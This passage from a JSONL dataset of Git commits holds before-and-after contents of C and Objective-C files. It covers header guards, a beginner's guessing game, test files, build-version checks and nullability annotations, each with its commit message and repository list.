message\n","lang":"C","license":"bsd-3-clause","repos":"binki\/discount,binki\/discount,binki\/discount,OliverLetterer\/discount,davidfstr\/discount,binki\/discount,OliverLetterer\/discount,gm2bv\/discount,davidfstr\/discount,gm2bv\/discount,davidfstr\/discount,davidfstr\/discount,binki\/discount,gm2bv\/discount,OliverLetterer\/discount,gm2bv\/discount"}
{"commit":"178691e163ee60902dc23f3de2b8be73b86a2473","old_file":"src\/modules\/cameraautoswitch.h","new_file":"src\/modules\/cameraautoswitch.h","old_contents":"\/*\n *  cameraautoswitch.h\n *  StatusSpec project\n *\n *  Copyright (c) 2014-2015 Forward Command Post\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#include \"igameevents.h\"\n\n#include \"..\/modules.h\"\n\nclass CCommand;\nclass ConCommand;\nclass ConVar;\nclass IConVar;\n\n class CameraAutoSwitch : public Module, IGameEventListener2 {\n public:\n\t CameraAutoSwitch();\n\n \tstatic bool CheckDependencies();\n\n \tvirtual void FireGameEvent(IGameEvent *event);\n private:\n\t class Panel;\n\t Panel *panel;\n\n\t ConVar *enabled;\n\t ConVar *killer;\n\t ConVar *killer_delay;\n\t void ToggleEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n\t void ToggleKillerEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n };\n","new_contents":"\/*\n *  cameraautoswitch.h\n *  StatusSpec project\n *\n *  Copyright (c) 2014-2015 Forward Command Post\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"igameevents.h\"\n\n#include \"..\/modules.h\"\n\nclass CCommand;\nclass ConCommand;\nclass ConVar;\nclass IConVar;\n\n class CameraAutoSwitch : public Module, IGameEventListener2 {\n public:\n\t CameraAutoSwitch();\n\n \tstatic bool CheckDependencies();\n\n \tvirtual void FireGameEvent(IGameEvent *event);\n private:\n\t class Panel;\n\t Panel *panel;\n\n\t ConVar *enabled;\n\t ConVar *killer;\n\t ConVar *killer_delay;\n\t void ToggleEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n\t void ToggleKillerEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n };\n","subject":"Add pragma once to camera auto switch header.","message":"Add pragma once to camera auto switch header.\n","lang":"C","license":"bsd-2-clause","repos":"fwdcp\/StatusSpec,fwdcp\/StatusSpec"}
{"commit":"f4fca963a2ef0914bd4142a772cefc76f9e75956","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\\n\", chute);\n\n  if(chute == numerosecreto) {\n    printf(\"Parabéns! Você acertou!\\n\");\n    printf(\"Jogue de novo, você é um bom jogador!\\n\");\n  }\n  else {\n    printf(\"Você errou!\\n\");\n    printf(\"Mas não desanime, tente de novo!\\n\");\n  }\n\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\\n\", chute);\n\n  if(chute == numerosecreto) {\n    printf(\"Parabéns! Você acertou!\\n\");\n    printf(\"Jogue de novo, você é um bom jogador!\\n\");\n  }\n  else {\n    if(chute > numerosecreto) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    if(chute < numerosecreto) {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n    printf(\"Você errou!\\n\");\n    printf(\"Mas não desanime, tente de novo!\\n\");\n  }\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.2","message":"Update files, Alura, Introdução a C, Aula 2.2\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"cca85848f87ed67700301736f1bbd03e6298f65d","old_file":"Wikipedia\/Code\/WikiGlyph_Chars.h","new_file":"Wikipedia\/Code\/WikiGlyph_Chars.h","old_contents":"#define WIKIGLYPH_FORWARD @\"\\ue954\"\n#define WIKIGLYPH_BACKWARD @\"\\ue955\"\n#define WIKIGLYPH_DOWN @\"\\ue956\"\n#define WIKIGLYPH_X @\"\\ue95e\"\n#define WIKIGLYPH_FLAG @\"\\ue963\"\n#define WIKIGLYPH_USER_SMILE @\"\\ue964\"\n#define WIKIGLYPH_USER_SLEEP @\"\\ue965\"\n#define WIKIGLYPH_CC @\"\\ue969\"\n#define WIKIGLYPH_CITE @\"\\ue96b\"\n#define WIKIGLYPH_PUBLIC_DOMAIN @\"\\ue96c\"\n","new_contents":"#define WIKIGLYPH_X @\"\\ue95e\"\n#define WIKIGLYPH_FLAG @\"\\ue963\"\n#define WIKIGLYPH_USER_SMILE @\"\\ue964\"\n#define WIKIGLYPH_USER_SLEEP @\"\\ue965\"\n#define WIKIGLYPH_CC @\"\\ue969\"\n#define WIKIGLYPH_PUBLIC_DOMAIN @\"\\ue96c\"\n","subject":"Remove unused glyph font defines.","message":"Remove unused glyph font defines.\n","lang":"C","license":"mit","repos":"wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios"}
{"commit":"b1529393f0a4660def88e2e3df1d34446ebc48ff","old_file":"Operator.h","new_file":"Operator.h","old_contents":"\/*===- Operator.h - libSimulation -=============================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details.\n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef OPERATOR_H\n#define OPERATOR_H\n\n#include \"Cloud.h\"\n\nclass Operator {\npublic:\n\tCloud * const cloud;\n\tOperator(Cloud * const myCloud) : cloud(myCloud) {}\n\tvirtual ~Operator() {}\n    \n\tvirtual void operation1(const double currentTime)=0;\n\tvirtual void operation2(const double currentTime)=0;\n\tvirtual void operation3(const double currentTime)=0;\n\tvirtual void operation4(const double currentTime)=0;\n};\n\n#endif \/\/ OPERATOR_H\n","new_contents":"\/*===- Operator.h - libSimulation -=============================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details.\n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef OPERATOR_H\n#define OPERATOR_H\n\n#include \"Cloud.h\"\n\ntypedef unsigned int operator_index;\n\nclass Operator {\npublic:\n\tCloud * const cloud;\n\tOperator(Cloud * const myCloud) : cloud(myCloud) {}\n\tvirtual ~Operator() {}\n    \n\tvirtual void operation1(const double currentTime)=0;\n\tvirtual void operation2(const double currentTime)=0;\n\tvirtual void operation3(const double currentTime)=0;\n\tvirtual void operation4(const double currentTime)=0;\n};\n\n#endif \/\/ OPERATOR_H\n","subject":"Add typedef to number of operators. This will help inside code to distinguish from counting particles, forces or operators.","message":"Add typedef to number of operators. This will help inside code to distinguish from counting particles, forces or operators.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"98d00bb62b0eeee60e204babad8c3a090521d4d9","old_file":"cmd\/smyrna\/filter.h","new_file":"cmd\/smyrna\/filter.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef FILTER_H\n#define FILTER_H\n#include \"btree.h\"\n\ntypedef struct _tv_filters\n{\n\ttv_filter** filters;\n\tint filter_count;\n}tv_filters;\n\nint clear_filter(tv_filter* f);\nint init_filters(tv_filters* filters);\nint add_filter_to_filters(tv_filters* filters,tv_filter* filter);\nint clear_filters(tv_filters* filters);\nint union_filter(tv_filter* f1,tv_filter* f2);\nint intersect_filter(tv_filter* f1,tv_filter* f2);\n\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef FILTER_H\n#define FILTER_H\n#include \"btree.h\"\n\ntypedef struct _tv_filters {\n    tv_filter **filters;\n    int filter_count;\n} tv_filters;\n\nint clear_filter(tv_filter * f);\nint init_filters(tv_filters * filters);\nint add_filter_to_filters(tv_filters * filters, tv_filter * filter);\nint clear_filters(tv_filters * filters);\nint union_filter(tv_filter * f1, tv_filter * f2);\nint intersect_filter(tv_filter * f1, tv_filter * f2);\n\n#endif\n","subject":"Clean up smyrna files: remove unnecessary globals modify libraries not to rely on code in cmd\/smyrna remove static declarations from .h files remove unnecessary libraries mark unused code and clean up warnings","message":"Clean up smyrna files:\n  remove unnecessary globals\n  modify libraries not to rely on code in cmd\/smyrna\n  remove static declarations from .h files\n  remove unnecessary libraries\n  mark unused code and clean up warnings\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz"}
{"commit":"9fcb875470185cd1e5635c9001cc36b5aad8ca7a","old_file":"testing\/test_rocks.c","new_file":"testing\/test_rocks.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <glib.h>\n\n#include \"cem\/rocks.h\"\n\n\nstatic void test_set_rock_blocks(void) {\n  const int shape[2] = {10, 20};\n  double **z = (double**)malloc(sizeof(double*) * shape[0]);\n  char **rock_type = (char**)malloc(sizeof(char*) * shape[0]);\n  int i;\n  char expected[20] = {\n    'f', 'f', 's', 's', 's',\n    'f', 'f', 's', 's', 's', 'f', 'f', 's', 's', 's',\n    'f', 'f', 's', 's', 's'\n  };\n\n  z[0] = (double*)malloc(sizeof(double) * shape[0] * shape[1]);\n  rock_type[0] = (char*)malloc(sizeof(char) * shape[0] * shape[1]);\n  for (i=1; i < shape[0]; i++) {\n    z[i] = z[i-1] + shape[1];\n    rock_type[i] = rock_type[i-1] + shape[1];\n  }\n\n  set_rock_blocks(rock_type, z, shape[0], shape[1], 2);\n\n  for (i=0; i < shape[0]; i++)\n    g_assert_cmpmem(rock_type[i], shape[1], expected, shape[1]);\n\n  free(rock_type[0]);\n  free(rock_type);\n  free(z[0]);\n  free(z);\n}\n\n\nint main(int argc, char* argv[]) {\n  g_test_init(&argc, &argv, NULL);\n  g_test_add_func(\"\/cem\/rocks\/set_blocks\", &test_set_rock_blocks);\n\n  return g_test_run();\n}\n","subject":"Add unit tests for rocks.c.","message":"Add unit tests for rocks.c.\n","lang":"C","license":"mit","repos":"csdms-contrib\/cem"}
{"commit":"a643c5fe60f459802f071e48fb5eeaca4cf7ac4b","old_file":"src\/tests\/marquise_hash_test.c","new_file":"src\/tests\/marquise_hash_test.c","old_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_hash_identifier() {\n\tconst char *id = \"hostname:fe1.example.com,metric:BytesUsed,service:memory,\";\n\tsize_t id_len = strlen(id);\n\tuint64_t address = marquise_hash_identifier(id, id_len);\n\tg_assert_cmpint(address, ==, 7602883380529707052);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_hash_identifier\/hash\", test_hash_identifier);\n\treturn g_test_run();\n}\n","new_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_hash_identifier() {\n\tconst char *id = \"hostname:fe1.example.com,metric:BytesUsed,service:memory,\";\n\tsize_t id_len = strlen(id);\n\tuint64_t address = marquise_hash_identifier((const unsigned char*) id, id_len);\n\tg_assert_cmpint(address, ==, 7602883380529707052);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_hash_identifier\/hash\", test_hash_identifier);\n\treturn g_test_run();\n}\n","subject":"Make a pointer-signedness warning in testing magically disappear~","message":"Make a pointer-signedness warning in testing magically disappear~\n","lang":"C","license":"bsd-3-clause","repos":"anchor\/libmarquise,anchor\/libmarquise"}
{"commit":"0ff744dd3c9c3853e35cb7c7e2fe46be8a6e0eaf","old_file":"include-cpp\/RSImg.h","new_file":"include-cpp\/RSImg.h","old_contents":"","new_contents":"#ifndef __RSImg_h__\n#define __RSImg_h__\n\n#include <stdint.h>\n#include <stdio.h>\n\nextern \"C\" int RSImgFreadPPMP6Header(FILE *file, uint32_t *width, uint32_t *height, uint32_t *headerSize);\n\n#endif\n","subject":"Add a header for use from C++","message":"Add a header for use from C++\n","lang":"C","license":"mit","repos":"ReclaimSoftware\/RSImg,ReclaimSoftware\/RSImg"}
{"commit":"c33f2beda7b6ff05e87d3fd828d0370e21b9debc","old_file":"http.h","new_file":"http.h","old_contents":"","new_contents":"#ifndef http_h\n#define http_h\n\ntypedef struct http_context_s http_context;\ntypedef struct http_session_s http_session;\ntypedef struct http_request_s http_request;\n\n\/*\n * A Context is bound to a collection of sessions and\n * ongoing requests. Each thread in a process should have its\n * own Context to avoid deadlocks and conflicts.\n *\/\nhttp_context* http_context_create();\nvoid http_context_release(http_context* ctx);\n\n\/*\n * A session represents an active communication line to a server.\n * One or more network sockets may be open to the server to\n * fulfill requests. Pipelining will be used if supported by server.\n *\/\nhttp_session* http_session_open(http_context* ctx, const char* host, int port);\nvoid http_session_close(http_session* session);\n\nhttp_request* http_request_create(http_session* session, const char* path, http_method method);\nhttp_request* http_request_get(http_session* session, const char* path);\nhttp_request* http_request_post(http_session* session, const char* path);\n\n#endif\n","subject":"Add primary header with initial API draft.","message":"Add primary header with initial API draft.\n","lang":"C","license":"mit","repos":"joshthecoder\/libhttp"}
{"commit":"10b5311070496ada127c5f4a4119a6ab9d1baaec","old_file":"main.c","new_file":"main.c","old_contents":"\/\/codigo para hecer pruebas de como funciona github.\n\/\/programa simple que suma, resta, multiplica y divide numeros ingresador por pantalla.\n\n#include <stdio.h>\n#include <stdlib.h>\n\n\n\nvoid sumar(int a, int b);\nvoid restar(int a,int b);\n\nint main() {\n\n    int a,b; \n\tprintf(\"Bienvenido... Ingrese 2 numeros\");\n    printf (\"Primer numero: \");   scanf (\"%d\",&a); \n    printf (\"Segundo numero: \");  scanf (\"%d\",&b); \n    sumar(a,b);\n\trestar(a,b);\n    \n    \n    \/\/implementar resta, multiplicacion, division\n   \n    \n    return (EXIT_SUCCESS);\n}\nvoid restar(int a,int b){\n\tprintf(\"La resta es: %d\",a-b);\n}\nvoid sumar(int a, int b){\n     printf (\"La suma es: %d\",a+b); \n}\n\n\n","new_contents":"\/\/codigo para hecer pruebas de como funciona github.\n\/\/programa simple que suma, resta, multiplica y divide numeros ingresador por pantalla.\n\n#include <stdio.h>\n#include <stdlib.h>\n\n\n\nvoid sumar(int a, int b);\nvoid restar(int a,int b);\n\nint main() {\n\n    int a,b; \n    printf (\"Primer numero: \");   scanf (\"%d\",&a); \n    printf (\"Segundo numero: \");  scanf (\"%d\",&b); \n    sumar(a,b);\n\trestar(a,b);\n    \n    \n    \/\/implementar resta, multiplicacion, division\n   \n    \n    return (EXIT_SUCCESS);\n}\nvoid restar(int a,int b){\n\tprint(\"La resta es: %d\",a-b);\n}\nvoid sumar(int a, int b){\n     printf (\"La suma es: %d\",a+b); \n}\n\n\n","subject":"Revert \"Corregido Error en Funcion restar\"","message":"Revert \"Corregido Error en Funcion restar\"\n\nThis reverts commit d8e984f0ea7d12526e1069292ed85025178d8d67.\n","lang":"C","license":"unlicense","repos":"jcruz1\/ProyectoSIIGrupo2"}
{"commit":"4f36797fb368cc30a648ed0a313b6f4ad6cb3927","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef SRC_CONFIG_H_S6A1C09K\n#define SRC_CONFIG_H_S6A1C09K\n\n\/* package name *\/\n#define PACKAGE \"pianobar\"\n\n#define VERSION \"2014.06.08-dev\"\n\n\/* ffmpeg\/libav quirks detection\n * ffmpeg’s micro versions always start at 100, that’s how we can distinguish\n * ffmpeg and libav *\/\n#include <libavfilter\/version.h>\n\n\/* is \"timeout\" option present (all versions of ffmpeg, not libav) *\/\n#if LIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AV_TIMEOUT\n#endif\n\n\/* does graph_send_command exist (ffmpeg >=2.2) *\/\n#if LIBAVFILTER_VERSION_MAJOR == 4 && \\\n\t\tLIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AVFILTER_GRAPH_SEND_COMMAND\n#endif\n\n\/* need avcodec.h (ffmpeg 1.2) *\/\n#if LIBAVFILTER_VERSION_MAJOR == 3 && \\\n\t\tLIBAVFILTER_VERSION_MINOR <= 42 && \\\n\t\tLIBAVFILTER_VERSION_MINOR > 32 && \\\n\t\tLIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AV_BUFFERSINK_GET_BUFFER_REF\n#define HAVE_LIBAVFILTER_AVCODEC_H\n#endif\n\n#endif \/* SRC_CONFIG_H_S6A1C09K *\/\n","new_contents":"#ifndef SRC_CONFIG_H_S6A1C09K\n#define SRC_CONFIG_H_S6A1C09K\n\n\/* package name *\/\n#define PACKAGE \"pianobar\"\n\n#define VERSION \"2014.06.08-dev\"\n\n\/* ffmpeg\/libav quirks detection\n * ffmpeg’s micro versions always start at 100, that’s how we can distinguish\n * ffmpeg and libav *\/\n#include <libavfilter\/version.h>\n\n\/* is \"timeout\" option present (all versions of ffmpeg, not libav) *\/\n#if LIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AV_TIMEOUT\n#endif\n\n\/* does graph_send_command exist (ffmpeg >=2.2) *\/\n#if LIBAVFILTER_VERSION_MAJOR >= 4 && \\\n\t\tLIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AVFILTER_GRAPH_SEND_COMMAND\n#endif\n\n\/* need avcodec.h (ffmpeg 1.2) *\/\n#if LIBAVFILTER_VERSION_MAJOR == 3 && \\\n\t\tLIBAVFILTER_VERSION_MINOR <= 42 && \\\n\t\tLIBAVFILTER_VERSION_MINOR > 32 && \\\n\t\tLIBAVFILTER_VERSION_MICRO >= 100\n#define HAVE_AV_BUFFERSINK_GET_BUFFER_REF\n#define HAVE_LIBAVFILTER_AVCODEC_H\n#endif\n\n#endif \/* SRC_CONFIG_H_S6A1C09K *\/\n","subject":"Fix volume control with ffmpeg 2.3","message":"Fix volume control with ffmpeg 2.3\n","lang":"C","license":"mit","repos":"DavidZemon\/pianobar,gnowxilef\/pianobar,DavidZemon\/pianobar,tchajed\/pianobar,gnowxilef\/pianobar,twahlfeld\/pianobar,tchajed\/pianobar,johnso51\/pianobar,johnso51\/pianobar,gnowxilef\/pianobar,tchajed\/pianobar,twahlfeld\/pianobar,johnso51\/pianobar,tchajed\/pianobar,DavidZemon\/pianobar,DavidZemon\/pianobar,gnowxilef\/pianobar,johnso51\/pianobar,gnowxilef\/pianobar,johndeeney\/pianobar,DavidZemon\/pianobar,bmbove\/pianobar-save,johndeeney\/pianobar,johndeeney\/pianobar,tchajed\/pianobar,johnso51\/pianobar,twahlfeld\/pianobar,bmbove\/pianobar-save,twahlfeld\/pianobar,twahlfeld\/pianobar,johnso51\/pianobar,twahlfeld\/pianobar,bmbove\/pianobar-save,johndeeney\/pianobar,gnowxilef\/pianobar,tchajed\/pianobar,bmbove\/pianobar-save,DavidZemon\/pianobar,johndeeney\/pianobar,johndeeney\/pianobar,bmbove\/pianobar-save"}
{"commit":"d3b529bb914c70773c1218fe5b85e9738e66ad4b","old_file":"Pod\/Classes\/BFTaskCenter.h","new_file":"Pod\/Classes\/BFTaskCenter.h","old_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import \"Bolts.h\"\n\n@interface BFTaskCenter : NSObject\n\n\/*!\n A block that can act as a continuation for a task.\n *\/\ntypedef void (^BFTaskCenterBlock)(BFTask * _Nonnull task);\n\n+ (nonnull instancetype)defaultCenter;\n\n- (instancetype)initWithExecutor:(BFExecutor *)executor;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFTaskCenterBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nullable BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                          executor:(nonnull BFExecutor *)executor\n                                                 cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n","new_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import \"Bolts.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface BFTaskCenter : NSObject\n\n\/*!\n A block that can act as a continuation for a task.\n *\/\ntypedef void (^BFTaskCenterBlock)(BFTask * _Nonnull task);\n\n+ (instancetype)defaultCenter;\n\n- (instancetype)initWithExecutor:(nonnull BFExecutor *)executor;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFTaskCenterBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nullable BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                          executor:(nonnull BFExecutor *)executor\n                                                 cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix compiler warning for nullable check","message":"Fix compiler warning for nullable check\n","lang":"C","license":"mit","repos":"Superbil\/BFTaskCenter,Superbil\/BFTaskCenter"}
{"commit":"e7139c902072bcfb4a404c0fcfb91f34dd1e129f","old_file":"src\/cal3d\/color.h","new_file":"src\/cal3d\/color.h","old_contents":"#pragma once\r\n\r\n#include \"cal3d\/global.h\"\r\n#include \"cal3d\/vector.h\"\r\n\r\n\r\ntypedef unsigned long CalColor32; \/\/ 32-bit integer, compatible with NSPR\r\n\r\ninline CalColor32 CalMakeColor(CalVector cv) {\r\n    return\r\n      ( ( unsigned int ) ( cv.z * 0xff ) << 0) +\r\n      ( ( ( unsigned int ) ( cv.y * 0xff ) ) << 8 ) +\r\n      ( ( ( unsigned int ) ( cv.x * 0xff ) ) << 16 ) +\r\n      0xff000000;\r\n}\r\n\r\ninline CalVector CalVectorFromColor(CalColor32 color) {\r\n    return CalVector(\r\n        ((color >> 16) & 0xff) \/ float(0xff),\r\n        ((color >> 8) & 0xff) \/ float(0xff),\r\n        ((color >> 0) & 0xff) \/ float(0xff));\r\n}\r\n","new_contents":"#pragma once\r\n\r\n#include \"cal3d\/global.h\"\r\n#include \"cal3d\/vector.h\"\r\n\r\n\r\ntypedef unsigned int CalColor32; \/\/ 32-bit integer, compatible with NSPR\r\n\r\ninline CalColor32 CalMakeColor(CalVector cv) {\r\n    return\r\n      ( ( unsigned int ) ( cv.z * 0xff ) << 0) +\r\n      ( ( ( unsigned int ) ( cv.y * 0xff ) ) << 8 ) +\r\n      ( ( ( unsigned int ) ( cv.x * 0xff ) ) << 16 ) +\r\n      0xff000000;\r\n}\r\n\r\ninline CalVector CalVectorFromColor(CalColor32 color) {\r\n    return CalVector(\r\n        ((color >> 16) & 0xff) \/ float(0xff),\r\n        ((color >> 8) & 0xff) \/ float(0xff),\r\n        ((color >> 0) & 0xff) \/ float(0xff));\r\n}\r\n","subject":"Unify and simplify a lot of pixomatic code","message":"Unify and simplify a lot of pixomatic code\n\ngit-svn-id: febc42a3fd39fb08e5ae2b2182bc5ab0a583559c@51002 07c76cb3-cb09-0410-85de-c24d39f1912e\n","lang":"C","license":"lgpl-2.1","repos":"imvu\/cal3d,imvu\/cal3d,imvu\/cal3d,imvu\/cal3d"}
{"commit":"8409e82310159111f2a01d65af58514adda6fe8a","old_file":"IntelFrameworkPkg\/Include\/Common\/FrameworkFirmwareVolumeImageFormat.h","new_file":"IntelFrameworkPkg\/Include\/Common\/FrameworkFirmwareVolumeImageFormat.h","old_contents":"","new_contents":"\/** @file\r\n  This file defines the data structures that are architecturally defined for file\r\n  images loaded via the FirmwareVolume protocol.  The Firmware Volume specification\r\n  is the basis for these definitions.\r\n\r\n  Copyright (c) 2006, Intel Corporation                                                         \r\n  All rights reserved. This program and the accompanying materials                          \r\n  are licensed and made available under the terms and conditions of the BSD License         \r\n  which accompanies this distribution.  The full text of the license may be found at        \r\n  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n  Module Name:  FrameworkFimrwareVolumeImageFormat.h\r\n\r\n  @par Revision Reference:\r\n  These definitions are from Firmware Volume Spec 0.9.\r\n\r\n**\/\r\n\r\n#ifndef __FRAMEWORK_FIRMWARE_VOLUME_IMAGE_FORMAT_H__\r\n#define 